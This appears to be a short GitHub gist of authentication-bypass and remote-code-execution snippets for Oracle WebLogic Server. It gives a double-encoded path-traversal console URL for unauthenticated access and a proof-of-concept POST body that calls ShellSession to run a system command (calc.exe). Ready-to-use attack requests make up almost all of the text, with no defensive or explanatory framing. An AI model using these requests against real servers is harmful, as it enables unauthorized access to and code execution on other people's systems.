chr0n1k/Oracle Web Logic Unauthenitcated Access.md

Last active October 29, 2020 07:10

Star (0) You must be signed in to star a gist
Fork (0) You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/chr0n1k/5959a18b4ba9c14f1c7c43cae4adcd76.js"></script>
Save chr0n1k/5959a18b4ba9c14f1c7c43cae4adcd76 to your computer and use it in GitHub Desktop.

Authentication bypass and RCE snippets for Oracle WebLogic Servers by @testanull @secret_return @jas502n

Raw

Oracle Web Logic Unauthenitcated Access.md

Unauthenticated Access: <domainname/ip>:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(test)

RCE POC: http://x.x.x.x:7001/console/images/%252E%252E%252Fconsole.portal

POST:

_nfpb=true&_pageLabel=&handle=http://com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)